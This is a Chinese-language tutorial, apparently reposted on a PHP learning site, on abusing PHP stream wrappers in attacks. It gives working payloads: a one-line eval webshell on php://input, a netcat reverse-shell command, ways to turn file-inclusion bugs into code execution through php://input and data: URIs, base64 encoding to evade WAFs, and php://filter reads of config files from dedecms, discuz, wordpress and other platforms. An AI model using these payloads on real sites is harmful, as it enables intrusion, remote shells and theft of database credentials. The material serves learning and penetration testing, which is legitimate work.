来源:自学PHP网 时间:2015-04-17 10:16 作者: 阅读:次
[导读] 一、php: input一句话木马在调研dedecms的历史漏洞时,发现了dedecms安装文件曾经出过被植入后门的漏洞(SSV-ID站点include目录下shopcar class php文件被植入一句话木马)@eval(file_get_contents( 39;...
一、php://input一句话木马
在调研dedecms的历史漏洞时,发现了dedecms安装文件曾经出过被植入后门的漏洞(SSV-ID站点include目录下shopcar.class.php文件被植入一句话木马)
@eval(file_get_contents('php://input')) 我是个十足的php菜鸟,只有用到的时候才会去查查语法书,对php://input也只是有点印象而已,于是用脚本phpinput.php,配合firefox Hackbar插件测试了一下php://input的功能<?php 注释掉phpinput.php的打印语句
<?php @eval(file_get_contents('php://input'))?>
使用firefox的hackbar提交上图显示的post data
system('ncat -e /bin/bash localhost 1234'); 测试了一下nc反弹shell的利用,成功
看来,只要构造了合适的POST数据,就能达到getshell的目的。
二、php://input将文件包含漏洞变成代码执行漏洞
顿时觉得php://input好神奇,于是进一步搜索它还能发挥哪些作用。
在这里感谢Casperkid大牛的文章《php LFI读php文件源码以及直接post webshell》,我才知道文件包含可以这样深入。
接下来,演示TA是如何将文件包含漏洞转变成代码执行的漏洞。方法参考LFI exploitation via php://input
首先看一段存在文件包含漏洞的代码
<?php @include($_GET["file"])?> 我们使用php://input,将执行代码通过Firefox 的hackbar 在POST data中提交
<?php system('ifconfig');?> 看,文件包含漏洞变成代码执行漏洞了
data URI schema,我曾经在做钓鱼的练习中,将攻击代码生成这种格式并配合短地址转换来生成恶意url,见《利用iframe URI钓鱼》,但没想到可以用在文件包含漏洞中。
接下来演示如何实施。
在实施的时候,我突然想到,文件包含漏洞,在读取php文件时,是不能显示文件内容的。
而很多情况,我们是急需读取PHP格式的配置文件,例如
dedecms数据库配置文件data/common.inc.php,
discuz全局配置文件config/config_global.php,
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php
以便下一步渗透测试
于是我写了一段读取指定文件FileInclude.php的代码
<?php system('cat /var/www/FileInclude.php')?> 然后将攻击代码转化成data:URI,
data:text/plain,<?php system('cat /var/www/FileInclude.php')?> 运行,如下
注意,我们看到转化后的GET请求的参数中包含<?的标记,在遇到有些WAF,包括云WAF(例如360网站卫士),就会将其视为攻击代码,阻挡下来。于是我们需要做一下编码处理
data:text/plain;base64,[攻击代码的base64编码] 运行,如下
四、php://filter在文件包含漏洞中的利用——读取php文件源码内容
经过上面的操作,我们知道php://input与data:URI schema可以将文件包含漏洞变成代码执行漏洞从而getshell。接下来看看php://input的好基友php://filter能做什么呢
php://filter/read=convert.base64-encode/resource=[文件路径] 接下来只要将base64编码后的字符串通过base64解码就可得到PHP文件的源码了
参考:
http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html
http://www.2cto.com/Article/201303/192410.html http://www.2cto.com/Article/201306/216999.html
http://www.php.net/manual/zh/wrappers.php.php
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com